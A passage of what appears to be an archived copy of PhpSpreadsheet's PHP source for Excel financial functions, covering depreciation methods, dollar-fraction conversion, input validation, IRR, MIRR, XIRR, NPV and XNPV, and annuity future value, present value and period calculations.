0.5) $previousDepreciation = 0; $depreciation = 0; for ($per = 1; $per <= $period; ++$per) { if ($per == 1) { $depreciation = $cost * $fixedDepreciationRate * $month / 12; } elseif ($per == ($life + 1)) { $depreciation = ($cost - $previousDepreciation) * $fixedDepreciationRate * (12 - $month) / 12; } else { $depreciation = ($cost - $previousDepreciation) * $fixedDepreciationRate; } $previousDepreciation += $depreciation; } return $depreciation; } /** * DDB. * * Returns the depreciation of an asset for a specified period using the * double-declining balance method or some other method you specify. * * Excel Function: * DDB(cost,salvage,life,period[,factor]) * * @param mixed $cost Initial cost of the asset * @param mixed $salvage Value at the end of the depreciation. * (Sometimes called the salvage value of the asset) * @param mixed $life Number of periods over which the asset is depreciated. * (Sometimes called the useful life of the asset) * @param mixed $period The period for which you want to calculate the * depreciation. Period must use the same units as life. * @param mixed $factor The rate at which the balance declines. * If factor is omitted, it is assumed to be 2 (the * double-declining balance method). */ public static function DDB(mixed $cost, mixed $salvage, mixed $life, mixed $period, mixed $factor = 2.0): float|string { $cost = Functions::flattenSingleValue($cost); $salvage = Functions::flattenSingleValue($salvage); $life = Functions::flattenSingleValue($life); $period = Functions::flattenSingleValue($period); $factor = Functions::flattenSingleValue($factor); try { $cost = self::validateCost($cost); $salvage = self::validateSalvage($salvage); $life = self::validateLife($life); $period = self::validatePeriod($period); $factor = self::validateFactor($factor); } catch (Exception $e) { return $e->getMessage(); } if ($period > $life) { return ExcelError::NAN(); } // Loop through each period calculating the depreciation // TODO Handling for fractional $period values $previousDepreciation = 0; $depreciation = 0; for ($per = 1; $per <= $period; ++$per) { $depreciation = min( ($cost - $previousDepreciation) * ($factor / $life), ($cost - $salvage - $previousDepreciation) ); $previousDepreciation += $depreciation; } return $depreciation; } /** * SLN. * * Returns the straight-line depreciation of an asset for one period * * @param mixed $cost Initial cost of the asset * @param mixed $salvage Value at the end of the depreciation * @param mixed $life Number of periods over which the asset is depreciated * * @return float|string Result, or a string containing an error */ public static function SLN(mixed $cost, mixed $salvage, mixed $life): string|float { $cost = Functions::flattenSingleValue($cost); $salvage = Functions::flattenSingleValue($salvage); $life = Functions::flattenSingleValue($life); try { $cost = self::validateCost($cost, true); $salvage = self::validateSalvage($salvage, true); $life = self::validateLife($life, true); } catch (Exception $e) { return $e->getMessage(); } if ($life === self::$zeroPointZero) { return ExcelError::DIV0(); } return ($cost - $salvage) / $life; } /** * SYD. * * Returns the sum-of-years' digits depreciation of an asset for a specified period. * * @param mixed $cost Initial cost of the asset * @param mixed $salvage Value at the end of the depreciation * @param mixed $life Number of periods over which the asset is depreciated * @param mixed $period Period * * @return float|string Result, or a string containing an error */ public static function SYD(mixed $cost, mixed $salvage, mixed $life, mixed $period): string|float { $cost = Functions::flattenSingleValue($cost); $salvage = Functions::flattenSingleValue($salvage); $life = Functions::flattenSingleValue($life); $period = Functions::flattenSingleValue($period); try { $cost = self::validateCost($cost, true); $salvage = self::validateSalvage($salvage); $life = self::validateLife($life); $period = self::validatePeriod($period); } catch (Exception $e) { return $e->getMessage(); } if ($period > $life) { return ExcelError::NAN(); } $syd = (($cost - $salvage) * ($life - $period + 1) * 2) / ($life * ($life + 1)); return $syd; } private static function validateCost(mixed $cost, bool $negativeValueAllowed = false): float { $cost = FinancialValidations::validateFloat($cost); if ($cost < 0.0 && $negativeValueAllowed === false) { throw new Exception(ExcelError::NAN()); } return $cost; } private static function validateSalvage(mixed $salvage, bool $negativeValueAllowed = false): float { $salvage = FinancialValidations::validateFloat($salvage); if ($salvage < 0.0 && $negativeValueAllowed === false) { throw new Exception(ExcelError::NAN()); } return $salvage; } private static function validateLife(mixed $life, bool $negativeValueAllowed = false): float { $life = FinancialValidations::validateFloat($life); if ($life < 0.0 && $negativeValueAllowed === false) { throw new Exception(ExcelError::NAN()); } return $life; } private static function validatePeriod(mixed $period, bool $negativeValueAllowed = false): float { $period = FinancialValidations::validateFloat($period); if ($period <= 0.0 && $negativeValueAllowed === false) { throw new Exception(ExcelError::NAN()); } return $period; } private static function validateMonth(mixed $month): int { $month = FinancialValidations::validateInt($month); if ($month < 1) { throw new Exception(ExcelError::NAN()); } return $month; } private static function validateFactor(mixed $factor): float { $factor = FinancialValidations::validateFloat($factor); if ($factor <= 0.0) { throw new Exception(ExcelError::NAN()); } return $factor; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Dollar.php000064400000011113151676714400023314 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\TextData\Format; class Dollar { use ArrayEnabled; /** * DOLLAR. * * This function converts a number to text using currency format, with the decimals rounded to the specified place. * The format used is $#,##0.00_);($#,##0.00).. * * @param mixed $number The value to format, or can be an array of numbers * Or can be an array of values * @param mixed $precision The number of digits to display to the right of the decimal point (as an integer). * If precision is negative, number is rounded to the left of the decimal point. * If you omit precision, it is assumed to be 2 * Or can be an array of precision values * * @return array|string If an array of values is passed for either of the arguments, then the returned result * will also be an array with matching dimensions */ public static function format(mixed $number, mixed $precision = 2) { return Format::DOLLAR($number, $precision); } /** * DOLLARDE. * * Converts a dollar price expressed as an integer part and a fraction * part into a dollar price expressed as a decimal number. * Fractional dollar numbers are sometimes used for security prices. * * Excel Function: * DOLLARDE(fractional_dollar,fraction) * * @param mixed $fractionalDollar Fractional Dollar * Or can be an array of values * @param mixed $fraction Fraction * Or can be an array of values */ public static function decimal(mixed $fractionalDollar = null, mixed $fraction = 0): array|string|float { if (is_array($fractionalDollar) || is_array($fraction)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $fractionalDollar, $fraction); } try { $fractionalDollar = FinancialValidations::validateFloat( Functions::flattenSingleValue($fractionalDollar) ?? 0.0 ); $fraction = FinancialValidations::validateInt(Functions::flattenSingleValue($fraction)); } catch (Exception $e) { return $e->getMessage(); } // Additional parameter validations if ($fraction < 0) { return ExcelError::NAN(); } if ($fraction == 0) { return ExcelError::DIV0(); } $dollars = ($fractionalDollar < 0) ? ceil($fractionalDollar) : floor($fractionalDollar); $cents = fmod($fractionalDollar, 1.0); $cents /= $fraction; $cents *= 10 ** ceil(log10($fraction)); return $dollars + $cents; } /** * DOLLARFR. * * Converts a dollar price expressed as a decimal number into a dollar price * expressed as a fraction. * Fractional dollar numbers are sometimes used for security prices. * * Excel Function: * DOLLARFR(decimal_dollar,fraction) * * @param mixed $decimalDollar Decimal Dollar * Or can be an array of values * @param mixed $fraction Fraction * Or can be an array of values */ public static function fractional(mixed $decimalDollar = null, mixed $fraction = 0): array|string|float { if (is_array($decimalDollar) || is_array($fraction)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $decimalDollar, $fraction); } try { $decimalDollar = FinancialValidations::validateFloat( Functions::flattenSingleValue($decimalDollar) ?? 0.0 ); $fraction = FinancialValidations::validateInt(Functions::flattenSingleValue($fraction)); } catch (Exception $e) { return $e->getMessage(); } // Additional parameter validations if ($fraction < 0) { return ExcelError::NAN(); } if ($fraction == 0) { return ExcelError::DIV0(); } $dollars = ($decimalDollar < 0.0) ? ceil($decimalDollar) : floor($decimalDollar); $cents = fmod($decimalDollar, 1); $cents *= $fraction; $cents *= 10 ** (-ceil(log10($fraction))); return $dollars + $cents; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/FinancialValidations.php000064400000006147151676714400026174 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class FinancialValidations { public static function validateDate(mixed $date): float { return DateTimeExcel\Helpers::getDateValue($date); } public static function validateSettlementDate(mixed $settlement): float { return self::validateDate($settlement); } public static function validateMaturityDate(mixed $maturity): float { return self::validateDate($maturity); } public static function validateFloat(mixed $value): float { if (!is_numeric($value)) { throw new Exception(ExcelError::VALUE()); } return (float) $value; } public static function validateInt(mixed $value): int { if (!is_numeric($value)) { throw new Exception(ExcelError::VALUE()); } return (int) floor((float) $value); } public static function validateRate(mixed $rate): float { $rate = self::validateFloat($rate); if ($rate < 0.0) { throw new Exception(ExcelError::NAN()); } return $rate; } public static function validateFrequency(mixed $frequency): int { $frequency = self::validateInt($frequency); if ( ($frequency !== FinancialConstants::FREQUENCY_ANNUAL) && ($frequency !== FinancialConstants::FREQUENCY_SEMI_ANNUAL) && ($frequency !== FinancialConstants::FREQUENCY_QUARTERLY) ) { throw new Exception(ExcelError::NAN()); } return $frequency; } public static function validateBasis(mixed $basis): int { if (!is_numeric($basis)) { throw new Exception(ExcelError::VALUE()); } $basis = (int) $basis; if (($basis < 0) || ($basis > 4)) { throw new Exception(ExcelError::NAN()); } return $basis; } public static function validatePrice(mixed $price): float { $price = self::validateFloat($price); if ($price < 0.0) { throw new Exception(ExcelError::NAN()); } return $price; } public static function validateParValue(mixed $parValue): float { $parValue = self::validateFloat($parValue); if ($parValue < 0.0) { throw new Exception(ExcelError::NAN()); } return $parValue; } public static function validateYield(mixed $yield): float { $yield = self::validateFloat($yield); if ($yield < 0.0) { throw new Exception(ExcelError::NAN()); } return $yield; } public static function validateDiscount(mixed $discount): float { $discount = self::validateFloat($discount); if ($discount <= 0.0) { throw new Exception(ExcelError::NAN()); } return $discount; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/CashFlow/Variable/Periodic.php000064400000012615151676714400027100 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\Variable; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Periodic { const FINANCIAL_MAX_ITERATIONS = 128; const FINANCIAL_PRECISION = 1.0e-08; /** * IRR. * * Returns the internal rate of return for a series of cash flows represented by the numbers in values. * These cash flows do not have to be even, as they would be for an annuity. However, the cash flows must occur * at regular intervals, such as monthly or annually. The internal rate of return is the interest rate received * for an investment consisting of payments (negative values) and income (positive values) that occur at regular * periods. * * Excel Function: * IRR(values[,guess]) * * @param mixed $values An array or a reference to cells that contain numbers for which you want * to calculate the internal rate of return. * Values must contain at least one positive value and one negative value to * calculate the internal rate of return. * @param mixed $guess A number that you guess is close to the result of IRR */ public static function rate(mixed $values, mixed $guess = 0.1): string|float { if (!is_array($values)) { return ExcelError::VALUE(); } $values = Functions::flattenArray($values); $guess = Functions::flattenSingleValue($guess); // create an initial range, with a root somewhere between 0 and guess $x1 = 0.0; $x2 = $guess; $f1 = self::presentValue($x1, $values); $f2 = self::presentValue($x2, $values); for ($i = 0; $i < self::FINANCIAL_MAX_ITERATIONS; ++$i) { if (($f1 * $f2) < 0.0) { break; } if (abs($f1) < abs($f2)) { $f1 = self::presentValue($x1 += 1.6 * ($x1 - $x2), $values); } else { $f2 = self::presentValue($x2 += 1.6 * ($x2 - $x1), $values); } } if (($f1 * $f2) > 0.0) { return ExcelError::VALUE(); } $f = self::presentValue($x1, $values); if ($f < 0.0) { $rtb = $x1; $dx = $x2 - $x1; } else { $rtb = $x2; $dx = $x1 - $x2; } for ($i = 0; $i < self::FINANCIAL_MAX_ITERATIONS; ++$i) { $dx *= 0.5; $x_mid = $rtb + $dx; $f_mid = self::presentValue($x_mid, $values); if ($f_mid <= 0.0) { $rtb = $x_mid; } if ((abs($f_mid) < self::FINANCIAL_PRECISION) || (abs($dx) < self::FINANCIAL_PRECISION)) { return $x_mid; } } return ExcelError::VALUE(); } /** * MIRR. * * Returns the modified internal rate of return for a series of periodic cash flows. MIRR considers both * the cost of the investment and the interest received on reinvestment of cash. * * Excel Function: * MIRR(values,finance_rate, reinvestment_rate) * * @param mixed $values An array or a reference to cells that contain a series of payments and * income occurring at regular intervals. * Payments are negative value, income is positive values. * @param mixed $financeRate The interest rate you pay on the money used in the cash flows * @param mixed $reinvestmentRate The interest rate you receive on the cash flows as you reinvest them * * @return float|string Result, or a string containing an error */ public static function modifiedRate(mixed $values, mixed $financeRate, mixed $reinvestmentRate): string|float { if (!is_array($values)) { return ExcelError::DIV0(); } $values = Functions::flattenArray($values); $financeRate = Functions::flattenSingleValue($financeRate); $reinvestmentRate = Functions::flattenSingleValue($reinvestmentRate); $n = count($values); $rr = 1.0 + $reinvestmentRate; $fr = 1.0 + $financeRate; $npvPos = $npvNeg = 0.0; foreach ($values as $i => $v) { if ($v >= 0) { $npvPos += $v / $rr ** $i; } else { $npvNeg += $v / $fr ** $i; } } if ($npvNeg === 0.0 || $npvPos === 0.0) { return ExcelError::DIV0(); } $mirr = ((-$npvPos * $rr ** $n) / ($npvNeg * ($rr))) ** (1.0 / ($n - 1)) - 1.0; return is_finite($mirr) ? $mirr : ExcelError::NAN(); } /** * NPV. * * Returns the Net Present Value of a cash flow series given a discount rate. * * @param array $args */ public static function presentValue(mixed $rate, ...$args): int|float { $returnValue = 0; $rate = Functions::flattenSingleValue($rate); $aArgs = Functions::flattenArray($args); // Calculate $countArgs = count($aArgs); for ($i = 1; $i <= $countArgs; ++$i) { // Is it a numeric value? if (is_numeric($aArgs[$i - 1])) { $returnValue += $aArgs[$i - 1] / (1 + $rate) ** $i; } } return $returnValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/CashFlow/Variable/NonPeriodic.php000064400000024670151676714400027557 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\Variable; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class NonPeriodic { const FINANCIAL_MAX_ITERATIONS = 128; const FINANCIAL_PRECISION = 1.0e-08; const DEFAULT_GUESS = 0.1; /** * XIRR. * * Returns the internal rate of return for a schedule of cash flows that is not necessarily periodic. * * Excel Function: * =XIRR(values,dates,guess) * * @param float[] $values A series of cash flow payments * The series of values must contain at least one positive value & one negative value * @param mixed[] $dates A series of payment dates * The first payment date indicates the beginning of the schedule of payments * All other dates must be later than this date, but they may occur in any order * @param mixed $guess An optional guess at the expected answer */ public static function rate(array $values, array $dates, mixed $guess = self::DEFAULT_GUESS): float|string { $rslt = self::xirrPart1($values, $dates); if ($rslt !== '') { return $rslt; } // create an initial range, with a root somewhere between 0 and guess $guess = Functions::flattenSingleValue($guess) ?? self::DEFAULT_GUESS; if (!is_numeric($guess)) { return ExcelError::VALUE(); } $guess = ($guess + 0.0) ?: self::DEFAULT_GUESS; $x1 = 0.0; $x2 = $guess + 0.0; $f1 = self::xnpvOrdered($x1, $values, $dates, false); $f2 = self::xnpvOrdered($x2, $values, $dates, false); $found = false; for ($i = 0; $i < self::FINANCIAL_MAX_ITERATIONS; ++$i) { if (!is_numeric($f1)) { return $f1; } if (!is_numeric($f2)) { return $f2; } $f1 = (float) $f1; $f2 = (float) $f2; if (($f1 * $f2) < 0.0) { $found = true; break; } elseif (abs($f1) < abs($f2)) { $x1 += 1.6 * ($x1 - $x2); $f1 = self::xnpvOrdered($x1, $values, $dates, false); } else { $x2 += 1.6 * ($x2 - $x1); $f2 = self::xnpvOrdered($x2, $values, $dates, false); } } if ($found) { return self::xirrPart3($values, $dates, $x1, $x2); } // Newton-Raphson didn't work - try bisection $x1 = $guess - 0.5; $x2 = $guess + 0.5; for ($i = 0; $i < self::FINANCIAL_MAX_ITERATIONS; ++$i) { $f1 = self::xnpvOrdered($x1, $values, $dates, false, true); $f2 = self::xnpvOrdered($x2, $values, $dates, false, true); if (!is_numeric($f1) || !is_numeric($f2)) { break; } if ($f1 * $f2 <= 0) { $found = true; break; } $x1 -= 0.5; $x2 += 0.5; } if ($found) { return self::xirrBisection($values, $dates, $x1, $x2); } return ExcelError::NAN(); } /** * XNPV. * * Returns the net present value for a schedule of cash flows that is not necessarily periodic. * To calculate the net present value for a series of cash flows that is periodic, use the NPV function. * * Excel Function: * =XNPV(rate,values,dates) * * @param array|float $rate the discount rate to apply to the cash flows * @param float[] $values A series of cash flows that corresponds to a schedule of payments in dates. * The first payment is optional and corresponds to a cost or payment that occurs * at the beginning of the investment. * If the first value is a cost or payment, it must be a negative value. * All succeeding payments are discounted based on a 365-day year. * The series of values must contain at least one positive value and one negative value. * @param mixed[] $dates A schedule of payment dates that corresponds to the cash flow payments. * The first payment date indicates the beginning of the schedule of payments. * All other dates must be later than this date, but they may occur in any order. */ public static function presentValue(array|float $rate, array $values, array $dates): float|string { return self::xnpvOrdered($rate, $values, $dates, true); } private static function bothNegAndPos(bool $neg, bool $pos): bool { return $neg && $pos; } private static function xirrPart1(mixed &$values, mixed &$dates): string { $values = Functions::flattenArray($values); $dates = Functions::flattenArray($dates); $valuesIsArray = count($values) > 1; $datesIsArray = count($dates) > 1; if (!$valuesIsArray && !$datesIsArray) { return ExcelError::NA(); } if (count($values) != count($dates)) { return ExcelError::NAN(); } $datesCount = count($dates); for ($i = 0; $i < $datesCount; ++$i) { try { $dates[$i] = DateTimeExcel\Helpers::getDateValue($dates[$i]); } catch (Exception $e) { return $e->getMessage(); } } return self::xirrPart2($values); } private static function xirrPart2(array &$values): string { $valCount = count($values); $foundpos = false; $foundneg = false; for ($i = 0; $i < $valCount; ++$i) { $fld = $values[$i]; if (!is_numeric($fld)) { return ExcelError::VALUE(); } elseif ($fld > 0) { $foundpos = true; } elseif ($fld < 0) { $foundneg = true; } } if (!self::bothNegAndPos($foundneg, $foundpos)) { return ExcelError::NAN(); } return ''; } private static function xirrPart3(array $values, array $dates, float $x1, float $x2): float|string { $f = self::xnpvOrdered($x1, $values, $dates, false); if ($f < 0.0) { $rtb = $x1; $dx = $x2 - $x1; } else { $rtb = $x2; $dx = $x1 - $x2; } $rslt = ExcelError::VALUE(); for ($i = 0; $i < self::FINANCIAL_MAX_ITERATIONS; ++$i) { $dx *= 0.5; $x_mid = $rtb + $dx; $f_mid = (float) self::xnpvOrdered($x_mid, $values, $dates, false); if ($f_mid <= 0.0) { $rtb = $x_mid; } if ((abs($f_mid) < self::FINANCIAL_PRECISION) || (abs($dx) < self::FINANCIAL_PRECISION)) { $rslt = $x_mid; break; } } return $rslt; } private static function xirrBisection(array $values, array $dates, float $x1, float $x2): string|float { $rslt = ExcelError::NAN(); for ($i = 0; $i < self::FINANCIAL_MAX_ITERATIONS; ++$i) { $rslt = ExcelError::NAN(); $f1 = self::xnpvOrdered($x1, $values, $dates, false, true); $f2 = self::xnpvOrdered($x2, $values, $dates, false, true); if (!is_numeric($f1) || !is_numeric($f2)) { break; } $f1 = (float) $f1; $f2 = (float) $f2; if (abs($f1) < self::FINANCIAL_PRECISION && abs($f2) < self::FINANCIAL_PRECISION) { break; } if ($f1 * $f2 > 0) { break; } $rslt = ($x1 + $x2) / 2; $f3 = self::xnpvOrdered($rslt, $values, $dates, false, true); if (!is_float($f3)) { break; } if ($f3 * $f1 < 0) { $x2 = $rslt; } else { $x1 = $rslt; } if (abs($f3) < self::FINANCIAL_PRECISION) { break; } } return $rslt; } private static function xnpvOrdered(mixed $rate, mixed $values, mixed $dates, bool $ordered = true, bool $capAtNegative1 = false): float|string { $rate = Functions::flattenSingleValue($rate); $values = Functions::flattenArray($values); $dates = Functions::flattenArray($dates); $valCount = count($values); try { self::validateXnpv($rate, $values, $dates); if ($capAtNegative1 && $rate <= -1) { $rate = -1.0 + 1.0E-10; } $date0 = DateTimeExcel\Helpers::getDateValue($dates[0]); } catch (Exception $e) { return $e->getMessage(); } $xnpv = 0.0; for ($i = 0; $i < $valCount; ++$i) { if (!is_numeric($values[$i])) { return ExcelError::VALUE(); } try { $datei = DateTimeExcel\Helpers::getDateValue($dates[$i]); } catch (Exception $e) { return $e->getMessage(); } if ($date0 > $datei) { $dif = $ordered ? ExcelError::NAN() : -((int) DateTimeExcel\Difference::interval($datei, $date0, 'd')); } else { $dif = Functions::scalar(DateTimeExcel\Difference::interval($date0, $datei, 'd')); } if (!is_numeric($dif)) { return $dif; } if ($rate <= -1.0) { $xnpv += -abs($values[$i]) / (-1 - $rate) ** ($dif / 365); } else { $xnpv += $values[$i] / (1 + $rate) ** ($dif / 365); } } return is_finite($xnpv) ? $xnpv : ExcelError::VALUE(); } private static function validateXnpv(mixed $rate, array $values, array $dates): void { if (!is_numeric($rate)) { throw new Exception(ExcelError::VALUE()); } $valCount = count($values); if ($valCount != count($dates)) { throw new Exception(ExcelError::NAN()); } if ($valCount > 1 && ((min($values) > 0) || (max($values) < 0))) { throw new Exception(ExcelError::NAN()); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/CashFlow/CashFlowValidations.php000064400000002247151676714400027521 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Financial\FinancialValidations; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class CashFlowValidations extends FinancialValidations { public static function validateRate(mixed $rate): float { $rate = self::validateFloat($rate); return $rate; } public static function validatePeriodType(mixed $type): int { $rate = self::validateInt($type); if ( $type !== FinancialConstants::PAYMENT_END_OF_PERIOD && $type !== FinancialConstants::PAYMENT_BEGINNING_OF_PERIOD ) { throw new Exception(ExcelError::NAN()); } return $rate; } public static function validatePresentValue(mixed $presentValue): float { return self::validateFloat($presentValue); } public static function validateFutureValue(mixed $futureValue): float { return self::validateFloat($futureValue); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/CashFlow/Single.php000064400000007422151676714400025036 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Single { /** * FVSCHEDULE. * * Returns the future value of an initial principal after applying a series of compound interest rates. * Use FVSCHEDULE to calculate the future value of an investment with a variable or adjustable rate. * * Excel Function: * FVSCHEDULE(principal,schedule) * * @param mixed $principal the present value * @param float[] $schedule an array of interest rates to apply */ public static function futureValue(mixed $principal, array $schedule): string|float { $principal = Functions::flattenSingleValue($principal); $schedule = Functions::flattenArray($schedule); try { $principal = CashFlowValidations::validateFloat($principal); foreach ($schedule as $rate) { $rate = CashFlowValidations::validateFloat($rate); $principal *= 1 + $rate; } } catch (Exception $e) { return $e->getMessage(); } return $principal; } /** * PDURATION. * * Calculates the number of periods required for an investment to reach a specified value. * * @param mixed $rate Interest rate per period * @param mixed $presentValue Present Value * @param mixed $futureValue Future Value * * @return float|string Result, or a string containing an error */ public static function periods(mixed $rate, mixed $presentValue, mixed $futureValue): string|float { $rate = Functions::flattenSingleValue($rate); $presentValue = Functions::flattenSingleValue($presentValue); $futureValue = Functions::flattenSingleValue($futureValue); try { $rate = CashFlowValidations::validateRate($rate); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $futureValue = CashFlowValidations::validateFutureValue($futureValue); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($rate <= 0.0 || $presentValue <= 0.0 || $futureValue <= 0.0) { return ExcelError::NAN(); } return (log($futureValue) - log($presentValue)) / log(1 + $rate); } /** * RRI. * * Calculates the interest rate required for an investment to grow to a specified future value . * * @param array|float $periods The number of periods over which the investment is made * @param array|float $presentValue Present Value * @param array|float $futureValue Future Value * * @return float|string Result, or a string containing an error */ public static function interestRate(array|float $periods = 0.0, array|float $presentValue = 0.0, array|float $futureValue = 0.0): string|float { $periods = Functions::flattenSingleValue($periods); $presentValue = Functions::flattenSingleValue($presentValue); $futureValue = Functions::flattenSingleValue($futureValue); try { $periods = CashFlowValidations::validateFloat($periods); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $futureValue = CashFlowValidations::validateFutureValue($futureValue); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($periods <= 0.0 || $presentValue <= 0.0 || $futureValue < 0.0) { return ExcelError::NAN(); } return ($futureValue / $presentValue) ** (1 / $periods) - 1; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/CashFlow/Constant/Periodic.php000064400000017433151676714400027147 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\Constant; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\CashFlowValidations; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Periodic { /** * FV. * * Returns the Future Value of a cash flow with constant payments and interest rate (annuities). * * Excel Function: * FV(rate,nper,pmt[,pv[,type]]) * * @param mixed $rate The interest rate per period * @param mixed $numberOfPeriods Total number of payment periods in an annuity as an integer * @param mixed $payment The payment made each period: it cannot change over the * life of the annuity. Typically, pmt contains principal * and interest but no other fees or taxes. * @param mixed $presentValue present Value, or the lump-sum amount that a series of * future payments is worth right now * @param mixed $type A number 0 or 1 and indicates when payments are due: * 0 or omitted At the end of the period. * 1 At the beginning of the period. */ public static function futureValue( mixed $rate, mixed $numberOfPeriods, mixed $payment = 0.0, mixed $presentValue = 0.0, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD ): string|float { $rate = Functions::flattenSingleValue($rate); $numberOfPeriods = Functions::flattenSingleValue($numberOfPeriods); $payment = ($payment === null) ? 0.0 : Functions::flattenSingleValue($payment); $presentValue = ($presentValue === null) ? 0.0 : Functions::flattenSingleValue($presentValue); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); try { $rate = CashFlowValidations::validateRate($rate); $numberOfPeriods = CashFlowValidations::validateInt($numberOfPeriods); $payment = CashFlowValidations::validateFloat($payment); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $type = CashFlowValidations::validatePeriodType($type); } catch (Exception $e) { return $e->getMessage(); } return self::calculateFutureValue($rate, $numberOfPeriods, $payment, $presentValue, $type); } /** * PV. * * Returns the Present Value of a cash flow with constant payments and interest rate (annuities). * * @param mixed $rate Interest rate per period * @param mixed $numberOfPeriods Number of periods as an integer * @param mixed $payment Periodic payment (annuity) * @param mixed $futureValue Future Value * @param mixed $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * * @return float|string Result, or a string containing an error */ public static function presentValue( mixed $rate, mixed $numberOfPeriods, mixed $payment = 0.0, mixed $futureValue = 0.0, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD ): string|float { $rate = Functions::flattenSingleValue($rate); $numberOfPeriods = Functions::flattenSingleValue($numberOfPeriods); $payment = ($payment === null) ? 0.0 : Functions::flattenSingleValue($payment); $futureValue = ($futureValue === null) ? 0.0 : Functions::flattenSingleValue($futureValue); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); try { $rate = CashFlowValidations::validateRate($rate); $numberOfPeriods = CashFlowValidations::validateInt($numberOfPeriods); $payment = CashFlowValidations::validateFloat($payment); $futureValue = CashFlowValidations::validateFutureValue($futureValue); $type = CashFlowValidations::validatePeriodType($type); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($numberOfPeriods < 0) { return ExcelError::NAN(); } return self::calculatePresentValue($rate, $numberOfPeriods, $payment, $futureValue, $type); } /** * NPER. * * Returns the number of periods for a cash flow with constant periodic payments (annuities), and interest rate. * * @param mixed $rate Interest rate per period * @param mixed $payment Periodic payment (annuity) * @param mixed $presentValue Present Value * @param mixed $futureValue Future Value * @param mixed $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * * @return float|string Result, or a string containing an error */ public static function periods( mixed $rate, mixed $payment, mixed $presentValue, mixed $futureValue = 0.0, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD ) { $rate = Functions::flattenSingleValue($rate); $payment = Functions::flattenSingleValue($payment); $presentValue = Functions::flattenSingleValue($presentValue); $futureValue = ($futureValue === null) ? 0.0 : Functions::flattenSingleValue($futureValue); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); try { $rate = CashFlowValidations::validateRate($rate); $payment = CashFlowValidations::validateFloat($payment); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $futureValue = CashFlowValidations::validateFutureValue($futureValue); $type = CashFlowValidations::validatePeriodType($type); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($payment == 0.0) { return ExcelError::NAN(); } return self::calculatePeriods($rate, $payment, $presentValue, $futureValue, $type); } private static function calculateFutureValue( float $rate, int $numberOfPeriods, float $payment, float $presentValue, int $type ): float { if ($rate !== null && $rate != 0) { return -$presentValue * (1 + $rate) ** $numberOfPeriods - $payment * (1 + $rate * $type) * ((1 + $rate) ** $numberOfPeriods - 1) / $rate; } return -$presentValue - $payment * $numberOfPeriods; } private static function calculatePresentValue( float $rate, int $numberOfPeriods, float $payment, float $futureValue, int $type ): float { if ($rate != 0.0) { return (-$payment * (1 + $rate * $type) * (((1 + $rate) ** $numberOfPeriods - 1) / $rate) - $futureValue) / (1 + $rate) ** $numberOfPeriods; } return -$futureValue - $payment * $numberOfPeriods; } private static function calculatePeriods( float $rate, float $payment, float $presentValue, float $futureValue, int $type ): string|float { if ($rate != 0.0) { if ($presentValue == 